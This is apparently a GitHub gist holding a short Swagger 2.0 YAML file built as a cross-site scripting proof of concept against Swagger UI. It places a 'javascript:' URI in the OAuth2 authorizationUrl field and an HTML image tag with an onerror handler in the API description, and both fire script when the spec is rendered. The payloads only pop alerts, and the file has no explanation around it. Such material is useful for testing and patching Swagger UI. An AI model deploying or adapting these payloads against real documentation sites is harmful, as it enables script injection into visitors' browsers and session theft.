Skip to content

Instantly share code, notes, and snippets.

@danzajork

danzajork/swagger-xss-oauth2.yml

Created June 2, 2020 19:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save danzajork/0998810ee062fc9004b4ccf468fa42b0 to your computer and use it in GitHub Desktop.
Save danzajork/0998810ee062fc9004b4ccf468fa42b0 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
swagger-xss-oauth2.yml
swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:alert(document.domain)//
info:
version: "0.0.1"
title: Example Title
description: Please Authorize! <img src=x onerror=alert(1) />
paths:
/:
get:
responses:
200:
description: Successful respons
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment